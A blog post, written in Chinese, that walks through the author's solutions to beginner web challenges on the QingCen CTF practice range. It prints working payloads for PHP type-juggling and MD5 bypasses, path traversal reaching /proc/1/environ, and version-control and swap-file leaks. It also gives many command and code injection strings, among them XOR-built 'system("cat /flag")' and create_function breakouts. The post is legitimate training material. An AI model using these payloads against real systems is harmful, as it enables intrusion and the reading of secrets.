Featured image of post QingCen靶场Web入门wp-上

QingCen靶场Web入门wp-上

7080 字
0 浏览

前言

最近一直在青岑靶场做web入门(菜到只能做这个),今天分享一下自己的wp。(含ai成分)

靶场地址:https://ctf.qingcen.net/

BASIC

BASIC

根据题目提示,f12查看源码


发现flag

BASIC_1

尝试f12查看源码,结果给封了

shift+ctrl+i打开开发者工具或者右上角的更多工具

发现flag

BASIC_2

打开网页发现只有“提交反馈”和“返回官网”能够交互“返回官网”内没有有效信息,查看源码也没有发现有用内容

使用抓包工具抓取提交反馈的请求,发现请求体中有个is_admin=0

尝试修改is_admin=1,进行发包,返回flag

BASIC_3

访问靶场

ctrl+u发现可疑的url js/key.js

跳转js/key.js,发现是JSfuck编码

直接在控制台输入JSfuck编码,解码后发现密码

发现flag

BASIC_4

访问靶场

依旧ctrl+u 发现可疑的url

跳转/static/main.js 这是一段JavaScript混淆代码,利用ASCII码对关键字符串进行编码

解码后:

1
2
3
var _0 = [81, 67, 67, 84, 70, 95, 86, 73, 80, 95, 50, 48, 50, 54];  // "QCCTF_VIP_2026"  
var _1 = [47, 102, 108, 97, 103];  // "/flag"  
var _2 = [86, 73, 80, 95, 78, 79, 84, 95, 72, 69, 82, 69];  // "VIP_NOT_HERE"

代码分析: String.fromCharCode()函数:将ASCII数字数组转换为字符串

逻辑是点击提交按钮->checkInvite()执行->获取输入值->与QCCTF_VIP_2026相同->执行POST /flag,返回flag

BASIC_5

访问靶场 计算器分数提交页面

老规矩ctrl+u 发现可疑url /static/main.js

关键代码分析

分数 currentScore 完全在前端计算和存储,服务端 /claim 接口未验证分数真实性,直接信任前端提交的数据。

利用burp抓包,POST请求,发现"data":“eyJzY29yZSI6MH0=” 即{“score”:0} 需要score为1000

将{“score”:1000} 编码为base64 eyJzY29yZSI6MTAwMH0=

返回"data":“eyJmbGFnIjogImZsYWd7YWVmNTBmY2QtMmQ2MS00NzM3LTg0YTctYWY5YTc2ZWE5MTExfSJ9” 发现flag

BASIC_6

访问靶场

ctrl+u 未发现可用信息

f12打开开发者工具 网络页面 发现X-Flag:flag{8c931b47-fba4-4659-88eb-5bb442ec0ef2}

BASIC_7

访问 http://docker.qingcen.net:45040/,看到一个 3×3 拼图游戏,需要把 9 块拼图拖拽到正确位置后点击"提交"。
关键发现
查看页面源码,核心逻辑在 <script> 中:

  1. CSRF Token:每个会话会生成一个 CSRF token(const csrf = “65bdfa841e802c39510e4d59eb5c1820”)
  2. 提交逻辑:拼图完成后,JS 会向 /complete.php 发送 POST 请求:
    fetch(’/complete.php’, {
    method: ‘POST’,
    body: new URLSearchParams({ csrf, solved: ‘1’ })
    });
  3. 重定向链:提交成功后,响应头显示 302 跳转链:- /complete.php → /vault.php → /decoy.php
    关键点:/vault.php 虽然返回了 302 Redirect 到 /decoy.php,但 响应体仍然包含 flag 内容!
    解题过程
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  Step 1:带 Cookie 访问首页获取 CSRF Token  
  curl -s -c cookie.txt 'http://docker.qingcen.net:45040/' | grep 'const csrf'  
  # → const csrf = "6adc8fb5af2c4ca36c946fcfaea42fc2"  

  Step 2:用同一 Session 提交拼图完成请求  
  curl -s -L -b cookie.txt -X POST 'http://docker.qingcen.net:45040/complete.php' \  
    -d 'csrf=6adc8fb5af2c4ca36c946fcfaea42fc2&solved=1'  

  Step 3:直接访问 /vault.php(不跟随重定向)
  curl -s -b cookie.txt 'http://docker.qingcen.net:45040/vault.php'  

  虽然响应头是 302  /decoy.phpdecoy = 诱饵页面),但响应体中赫然写着 flag  

总结
这道题的核心考点是 HTTP 302 重定向与响应体的关系。题目利用两层误导:

  1. 正常浏览器会跟随重定向,先到 vault.php,再到 decoy.php(诱饵页面),用户只看到诱饵
  2. 但实际上 vault.php 虽然发了 302,响应体里已经包含了 flag —— 用 curl 不跟随重定向(或只跟随到vault.php)就能直接看到

BASIC_8

访问靶场

根据题目提示,寻找源代码文件,我们进行目录爆破 查看字典

发现只有index.php和index.phps状态码正常
访问index.phps

分析一下,发现只要GET请求参数a=QCyYdS 就会返回flag文件

BASIC_9

访问靶场

根据提示挨个试一试,index.phps没有,robots.txt有信息

访问获得flag

BASIC_10

访问靶场

没发现有用信息,进行目录扫描(这里用的是dirsearch)

常用格式:python3 dirsearch.py -u <目标URL> [选项]

-e 指定扩展名(如 -e php,html,txt);

-w 指定字典文件,不指定则用默认字典;

-x 排除状态码(如 -x 403,404)可减少无效结果;

扫描结果会列出存在的路径与状态码,便于发现隐藏文件或后台。

扫出[04:18:53] 200 - 177B - /sitemap.xml 进行访问 又发现/wqw.php,访问 发现不是管理员权限,用hackbar进行修改user=admin,发送请求,获得flag flag

BASIC_11

访问靶场 没有发现有用信息,robots.txt里是假的

继续目录扫描(这里用的是dirsearch) 字典httppath.txt

扫出fl4g.php,访问,获得flag

flag

BASIC_12

访问靶场

点击各个文档,可以发现参数id发生变化,对参数id进行爆破

可以发现id=121的长度和别的不一样且不在显示的几个文档中,访问

找到flag

BASIC_13

访问靶机

发现需要密码,且username为admin,一般是弱口令,尝试admin123,获得flag flag

BASIC_14

访问靶场 虽然指定/admin_secret.txt 就能获得flag,但是长度不满足<17

代码中 $flag = fopen(’/admin_secret.txt’, ‘r’) 打开了目标文件,这会在进程中创建一个文件描述符。

在 Linux 中: fopen() 打开的文件会分配文件描述符,文件描述符可通过 /proc/self/fd/3~10 目录访问

?filename=/proc/self/fd/5 返回flag flag

EZREQUEST

EZREQUEST

访问靶场

根据GET请求参数a=QCCTF http://docker.qingcen.net:40964/?a=QCCTF GET请求参数

打开hackbar,Use POST-method b=yyds 获得flag

EZREQUEST_1

访问靶场

GET请求参数a=a

打开Hackbar Use POST method b=b

添加请求头X-Forward-For: 127.0.0.1 绕过IP限制

添加请求头User-Agent:QingcenSafe

添加请求头Via:xujinyingcangming.top

添加请求头Cookie:user=admin 获得flag

EZPHP

EZPHP

访问靶机 分析条件 使$a存在且弱类等于0 is_numeric($b)返回false $b>2026
绕过方法
$a=‘a’(字符串与0比较转为0)
$b=‘2027a’(含字母,不是纯数字)
‘2027a’ 与数字比较时转为 2027
拼接一下 最终Payload : ?a=a&b=2027a

获得flag

EZPHP_1

访问靶机 分析条件

array_search(“QCCTF”, $qc) 使用弱类型比较==(0 == “QCCTF”)为true

$key === 1 返回的键名必须全等于1

构造payload qc=[null,0]
索引 0:null → null == “QCCTF” 为 false
索引 1:0 → 0 == “QCCTF” 为 true ✓
返回键名:1

1 === 1 → true → 输出 flag 获得flag

EZPHP_2

访问靶机 分析条件

$qc[“n”] 存在、是数组、非空 “n”: [0]

array_search(“QCCTF”, $qc) 找到值 利用 0 == “QCCTF” 为 true

array_search(“QCyyds”, $qc[“n”]) 找到值 利用 0 == “QCyyds” 为 true

$qc[“n”] 中不能有真正的 “QCyyds” 用 0 代替字符串

构造payload qc={“n”:[0],“a”:0}
获得flag

EZMD5

EZMD5

访问靶机 分析条件

比较方式 ==弱类型比较

$admin_hash 以 0e 开头的字符串

弱类型特性 0e… 被当作科学计数法,值为 0

只要找到MD5值以0e开头的字符串

payload: QC=QNKCDZO 获得flag

EZMD5_1

访问靶机

分析条件

$a!=$b 两个值不相等
md5($a)==md5($b) MD5 弱类型相等
1:找到两个0e开头的字符串
“0e…"==“0e…” → 0 == 0 → true
payload: a=QNKCDZO&b=240610708
获得flag 2:数组绕过 md5(array) 返回 NULL,NULL == NULL 为 true

payload:a[]=1&b[]=2
获得flag

EZMD5_2

访问靶机
分析条件

1
2
3
4
5
6
7
8
9
不能用 0e 开头的 MD5 字符串  
$a != $b && md5($a) == md5($b)   
数组绕过:?a[]=1&b[]=2  
$a = [1]  (数组) $b = [2]   (数组)  
$md5_a = md5([1])  → Warning + NULL  
$md5_b = md5([2])  → Warning + NULL  
substr(NULL, 0, 2)  → '' (不是 '0e')  
$a != $b          → true  
$md5_a == $md5_b   → NULL == NULL → true  

获得flag

EZMD5_3

访问靶机
$a != $b 两个值不相等
md5($a) === md5($b) MD5 全等比较

不影响使用数组绕过 payload: ?a[]=1&b[]=2
获得flag

EZMD5_4

访问靶机
分析条件
GET 参数 QC
MD5 值最后6位等于 d54e23

MD5后六位碰撞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import hashlib
import string

target = 'd54e23'
chars = string.ascii_lowercase + string.digits

for length in range(1, 8):
    from itertools import product
    for combo in product(chars, repeat=length):
        s = ''.join(combo)
        md5_hash = hashlib.md5(s.encode()).hexdigest()
        if md5_hash[-6:] == target:
            print(f"Found: {s}")
            print(f"MD5: {md5_hash}")
            exit()  

找到字符串:gsdj5
payload: ?QC=gsdj5
获得flag

EZMD5_5

访问靶机 分析条件
$a != $b:两个值不相等
sha1($a) == sha1($b):两个sha1值相等
sha1() 处理数组返回 false:当传入数组时,sha1() 函数会报错并返回 false
依旧可以使用数组绕过 只要两个数组不一样即可,且sha1都返回false
payload: ?a[]=1&b[]=2
获得flag

EZMD5_6

访问靶机
分析条件
和上一题类似,只是从弱类型比较变成强类型比较
payload: ?a[]=1&b[]=2
获得flag

EZMD5_7

访问靶机

和EZMD5_3源码一样 尝试数组绕过 ?a[]=1&b[]=2 返回错误 看一下php版本 PHP 8.3 数组绕过错误
直接找MD5值相同的咯 a=d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
b=d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70
这里值太长了 记得复制完整哟-。-
这是一组值不同 但是MD5值相同的字符串 将这两个二进制串通过 URL 编码后作为 GET 参数 a 和 b 传递,成功绕过了 === 严格比较,获取到 flag

EZINFOLEAK

EZINFOLEAK

访问靶场 依次点开日志查看信息 发现base64编码
secret_file_b64=Zmw0Zy50eHQ=
解码后为 secret_file_b64=fl4g.txt
获得flag 路径穿越获得flag ../../../fl4g.txt

EZINFOLEAK_1

访问靶机 和上一题一样 发现base64编码
secret_file_b64=Zmw0Zy50eHQ=
解码后为 secret_file_b64=fl4g.txt
路径穿越 ../../../fl4g.txt 但是没有flag回显 发现过滤了../ 利用双写绕过 ….//….//….//fl4g.txt 获得flag

EZINFOLEAK_2

访问靶机 没发现有用信息 怀疑flag在环境变量中 环境变量存储敏感信息:Docker容器常将Flag存放在环境变量中
/proc/1/environ:存储PID=1进程的环境变量
利用路径穿越 /../../../../../../proc/1/environ

EZINFOLEAK_3

访问靶机 尝试常见PHP诊断路径 phpinfo.php
在页面搜索flag
获得flag

EZINFOLEAK_4

访问靶场 是一个烟花发射器页面,没有可用信息
用dirsearch扫描一下
发现是.git源码泄露 用GitHack还原源码
获得flag

EZINFOLEAK_5

还是放烟花 用dirsearch扫描一下
感觉还是.git源码泄露
用GitHack还原源码
发现HKBRLMlv.php 用POST请求就可以获得flag 获得flag

EZINFOLEAK_6

依旧放烟花 没信息用dirsearch扫描一下
发现是.git源码泄露
由于GitHack只能还原最新版本
所以用脚本自动还原所有版本
脚本 获得flag

EZINFOLEAK_7

访问靶场

既然是信息泄露,应该不是sql注入的做法
没有信息,使用dirsearch扫描一下

/.svn/entries: 这是老版本 SVN 的特征文件,证明存在泄露。
存在.svn泄露
下载wc.db文件,这是一个SQLite数据库
使用 SQLite Viewer 在线打开 wc.db
查看 NODES 表,找到文件名和 checksum
SVN pristine 文件路径格式:
/.svn/pristine/[前2位]/[完整sha1].svn-base
访问flag.php文件

EZINFOLEAK_8

访问靶机
没什么有用信息,用dirsearch扫描

发现.hg信息泄露 Mercurial 是分布式版本控制系统,类似于 Git。当 .hg 目录被意外暴露在 Web 服务器上时,攻击者可以获取源代码。
使用dvcs-ripper
获得flag

EZINFOLEAK_9

访问靶机

查看注释

当使用 vim 编辑文件时,会创建 .filename.swp 交换文件用于崩溃恢复。如果服务器上的交换文件未被删除且可访问,攻击者可以恢复文件内容。 直接访问
获得flag

EZINFOLEAK_10

访问靶机

查看注释

虽然 flag.txt 已被删除(访问返回 “flag.txt has been deleted”),但 vim 的交换文件 .flag.txt.swp 仍然存在于服务器上,包含了被删除文件的原始内容。
输入http://docker.qingcen.net:42128/.flag.txt.swp 下载flag.txt.swp文件
利用strings .flag.txt.swp 提取内容
获得flag

EZINFOLEAK_11

访问靶机

当前平台仅支持通过 macOS Finder 进行文件上传
.DS_Store 是 macOS 系统自动生成的隐藏文件,用于存储文件夹的显示选项和元数据。当用户使用 macOS Finder 上传文件到服务器时,.DS_Store 文件可能被一起上传,导致目录结构泄露
直接访问
获得flag

EZINFOLEAK_12

EZCMD

EZCMD

访问靶机 分析条件
escapeshellcmd() 的局限性:
该函数用于转义shell元字符,防止命令注入
但它不阻止执行单个命令
只转义 ; | & $ ( ) < > 等特殊字符
不影响ls,cat等命令

查看根目录
cmd=ls ../
cmd=ls ../../
cmd=ls ../../../

cmd=cat ../../../flag
获得flag

EZCMD_1

访问靶机

分析条件
用户输入 $cmd 直接拼接到 system() 函数中
可以通过命令分隔符注入任意命令
cmd=; ls /

cmd=; cat /flag
获得flag

EZCMD_2

访问靶机

分析条件
system($cmd.” >/dev/null 2>&1") 用户输入在前,输出被重定向
可以利用注释符#绕过

cmd=cat /flag #
获得flag

EZCMD_3

访问靶机

分析条件
禁止空格字符
输出重定向到 /dev/null
%09 URL编码的Tab,Shell解析为分隔符
%0a URL编码的换行,使命令独立于重定向
cmd=cat%09/flag%0a
获得flag

EZCMD_4

访问靶机

页面名为robot 我们访问robots.txt

访问4atP5Aup.php

分析条件,看看过滤了哪些命令
escapeshellcmd()会转义shell命令中的特殊字符,防止命令注入
我们需要读取flag文件
cmd=cat /flag->cmd=dd if=/flag->cmd=a=fl;b=ag;dd if=/$a$b->cmd=eval a=fl;b=ag;dd if=/$a$b
获得flag

EZCMD_5

访问靶机

分析条件
把所有的字母全部过滤,典型的无字母命令执行
/???/?? 匹配 /bin/ca (为什么不直接用cat呢,直接用???匹配不到cat,通配符 ? 不会像命令名那样自动搜索 PATH,必须指定完整路径!)
$’\164’ 是字母 t 的八进制表示(ASCII码116)
/????.??? 匹配 /flag.txt
最终执行: /bin/cat /flag.txt
获得flag

EZCMD_6

访问靶机

分析条件
典型的一句话木马
qc=system(’ls /’);
qc=system(‘cat /flag’);
获得flag

EZCMD_7

访问靶机

分析条件
eval(’$qc’) 将字符串转换为PHP代码执行
仅过滤flag 没有过滤ls

发现flag的路径 /flag
利用chr() 函数拼接字符串
echo file_get_contents(’/flag’); 读取并输出
flag

EZCMD_8

访问靶机

分析条件
过滤了system() 和 flag
利用shell_exec() 代替 system()
利用strrev()反转字符串绕过flag
?qc=echo shell_exec(’ls /’);

发现路径
?qc=readfile(strrev(‘galf/’));

EZCMD_9

访问靶场

分析条件
禁用空格和system()
scandir(目录路径) 列出目录中的所有文件和文件夹,返回数组 搭配print_r() 打印数组
?qc=print_r(scandir(’/’));

发现flag的路径 /flag
?qc=readfile(’/flag’); 不含过滤字符
flag

EZCMD_10

访问靶机

分析条件
仅过滤 ; 利用?>绕过 payload ?qc=echo file_get_contents(’/flag.txt’)?>
获得flag

EZCMD_11

访问靶机

分析条件
qc 参数会进入 eval($qc),只过滤了分号 ; flag 在 flag.php 里
直接构造highlight_file(‘flag.php’)?> 读取flag即可

EZCMD_12

访问靶机

分析条件
可以看出这题本质是 eval() 代码执行,只是做了一层黑名单过滤.
被过滤的字符很多,尤其关键的是:

1
' " ? < > . $ { } : \ ~ ^ @ * - + = [ ] ,

这意味着:不能直接写 flag.php,因为 . 被过滤。不能方便地写字符串、数组下标、拼接这些常规做法。但函数名、括号、分号、下划线都还能用,所以可以继续走纯 PHP 利用.
先用目录函数确认当前目录文件:

1
print_r(scandir(getcwd()));\


目标是不直接写出 flag.php,而是从 scandir() 返回结果里间接取出它.
构造:

1
next(array_reverse(scandir(getcwd())))

原因是:
scandir(getcwd()) 返回 [’.’ , ‘..’ , ‘flag.php’ , ‘index.php’] array_reverse() 后变成 [‘index.php’ , ‘flag.php’, ‘..’ , ‘.’] next() 取第二个元素,正好就是 flag.php
虽然 next() 正常要求传引用变量,但这里 error_reporting(0) 把 warning 压掉了,实际仍然能拿到值.
最终payload:

1
show_source(next(array_reverse(scandir(getcwd()))));

EZCMD_13

访问靶机

分析条件
preg_replace() 使用了 /e 修饰符,在 PHP 5.x 里,/e 会把替换内容当成 PHP 代码执行,利用思路是让 \1 替换成我们可控的内容,再借助双引号里的 ${…} 字符串插值触发函数执行

1
?re=.*&str=${phpinfo()}  


可以成功弹出 phpinfo(),说明利用成立
接着尝试命令执行 PHP 5.6 的特性:未定义常量会被当成字符串.

1
?re=.*&str=${system(ls)}  


回显当前目录只有index.php 说明flag不在当前目录,继续列根目录

1
?re=.*&str=${system(chr(108).chr(115).chr(32).chr(47))}  


也就是 ls / 回显里可以看到flag 说明flag在flag文件中 最后读出flag

1
?re=.*&str=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}  

等价执行了 cat /flag

EZCMD_14

访问首页 直接把源码高亮了出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
error_reporting(0);
if(isset($_GET['qc'])){
    $qc = $_GET['qc'];
    if(!preg_match("/[a-zA-Z0-9]/", $qc)){
        eval($qc);
    }
}else{
    highlight_file(__FILE__);
}
?>  

qc 参数里只要没有字母和数字,就会被 eval() 执行。也就是说,过滤规则只拦了 [a-zA-Z0-9],但没有拦住 PHP 里的其他语法能力。
PHP 支持字符串按位异或,因此可以只用符号拼出字母。比如:

1
"!" ^ "@"  

结果就是 “a”,因为 33 ^ 64 = 97。同理还能继续构造别的字符,例如:

1
2
3
4
5
"#" ^ "@";   // c
"(" ^ "\\";  // t
"&" ^ "@";   // f
"," ^ "@";   // l
"'" ^ "@";   // g  

这样就能在完全不出现字母数字的情况下,拼出函数名和命令字符串。另外,变量名里的下划线 _ 不在过滤范围内,所以可以直接用 $_、$__ 这类变量名 最终payload

1
2
3
$_=("("^"[").("\""^"[").("("^"[").("("^"\\").("%"^"@").("-"^"@");
$__=("#"^"@").("!"^"@").("("^"\\")." "."/".("&"^"@").(","^"@").("!"^"@").("'"^"@");
$_($__);  

第一行拼出的是 system,第二行拼出的是 cat /flag,第三行相当于:system(“cat /flag”);
把它放进 qc 参数并做 URL 编码后发送即可
cmd14_1.png

EZCMD_15

访问首页 源码展示

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);

highlight_file(__FILE__);

if (isset($_GET['qc'])) {
    exec($_GET['qc']);
}
?>  

看到这里基本就已经确定思路了。程序会先用 highlight_file(FILE) 把当前文件源码输出出来,然后判断是否存在 qc 参数;如果存在,就直接把 $_GET[‘qc’] 送进 exec() 执行。整个过程没有任何过滤,也没有白名单限制
不过这里有一个小细节需要注意:exec() 和 system() 不一样,它默认不会把命令执行结果直接回显到页面上,所以即使命令成功执行,页面看起来也还是源码。这种情况下,最简单的办法就是把命令输出重定向到 Web 目录下的文件里,再通过浏览器访问这个文件读取结果
首先可以用一条简单命令验证是否真的能够执行系统命令,例如:

1
http://docker.qingcen.net:30911/?qc=id>/var/www/html/1.txt  

这里的意思是执行 id,然后把输出写入 /var/www/html/1.txt。接着访问:http://docker.qingcen.net:30911/1.txt
cmd15_1.png
这说明命令执行已经成功,并且当前 Web 服务权限为 www-data,接下来就是读取 flag。常见情况下 flag 会放在根目录 /flag,所以直接执行:

1
http://docker.qingcen.net:30911/?qc=cat%20/flag>/var/www/html/f1.txt  

这里的 %20 是空格的 URL 编码。命令会把 /flag 的内容写入 /var/www/html/f1.txt。然后访问: cmd15_2.png

EZCMD_16

访问首页 源码展示

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);

highlight_file(__FILE__);

if (isset($_GET['qc'])) {
    create_function('', 'return ' . $_GET['qc'] . ';');
}
?>  

第一眼看上去像是只是“创建了一个匿名函数”,似乎没有调用它。但这里真正危险的点在于 create_function()。它在 PHP 7.4 中虽然已经废弃,但本质上仍然会把传入的代码字符串丢进 eval() 里处理,所以这里其实是一个代码注入点
程序拼接出来的代码逻辑相当于

1
create_function('', 'return ' . $qc . ';');  

如果我们传入正常内容,比如:qc=1 这当然没问题。但如果我们传入:

1
1;}system('id');//

拼接后就会变成:

1
return 1;}system('id');//;  

这样一来,} 先把匿名函数体提前闭合,后面的 system(‘id’); 就跳到了函数外部,在 eval() 解析阶段直接执行,最后再用 // 注释掉后面原本多出来的 ; 和结束部分。也就是说,虽然程序没有显式调用匿名函数,我们仍然可以通过闭合函数体的方式把恶意代码插进去并立刻执行
先用下面这个 payload 验证命令执行

1
http://docker.qingcen.net:37491/?qc=1;}system('id');//  

URL 编码后实际访问的是:

1
http://docker.qingcen.net:37491/?qc=1%3B%7Dsystem('id')%3B%2F%2F  

cmd16_1.png
回显中可以直接看到uid=33(www-data) gid=33(www-data) groups=33(www-data),说明代码执行已经成功。接下来直接读取 flag。常见路径先尝试 /flag
payload

1
2
3
http://docker.qingcen.net:37491/?qc=1;}system('cat /flag');//
对应URL编码后  
http://docker.qingcen.net:37491/?qc=1%3B%7Dsystem('cat%20/flag')%3B%2F%2F  

cmd16_2.png
成功获得flag

OK看到这里,此章就到此结束了,我们下一篇再见,各位佬。

Licensed under CC BY-NC-SA 4.0